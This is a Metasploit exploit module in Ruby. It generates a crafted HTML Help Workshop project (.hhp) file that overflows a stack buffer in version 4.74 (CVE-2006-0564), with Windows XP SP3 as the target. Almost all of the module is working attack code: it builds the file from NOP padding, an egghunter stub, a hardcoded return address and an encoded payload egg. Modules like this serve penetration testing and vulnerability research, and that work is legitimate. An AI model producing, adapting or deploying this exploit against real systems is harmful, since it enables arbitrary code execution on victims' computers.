##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in HTML Help Workshop 4.74
          by creating a specially crafted hhp file.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'bratax', 'jduck' ],
        'References' => [
          [ 'CVE', '2006-0564' ],
          [ 'OSVDB', '22941' ],
          [ 'EDB', '1470' ],
          [ 'EDB', '1495' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
          'StackAdjustment' => -4800,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP English SP3', { 'Offset' => 280, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
        ],
        'Privileged' => false,
        'DisclosureDate' => '2006-02-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.hhp']),
      ]
    )
  end

  def exploit
    # use the egghunter!
    eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

    off = target['Offset']
    idxf = ""
    idxf << make_nops(off - eh_stub.length)
    idxf << eh_stub
    idxf << [target.ret].pack('V')

    sploit = "[OPTIONS]\r\n"
    sploit << "Contents file="
    sploit << idxf
    sploit << "\r\n"
    sploit << "\r\n"
    sploit << "[FILES]\r\n"
    sploit << "\r\n"
    sploit << eh_egg

    hhp = sploit

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(hhp)
  end
end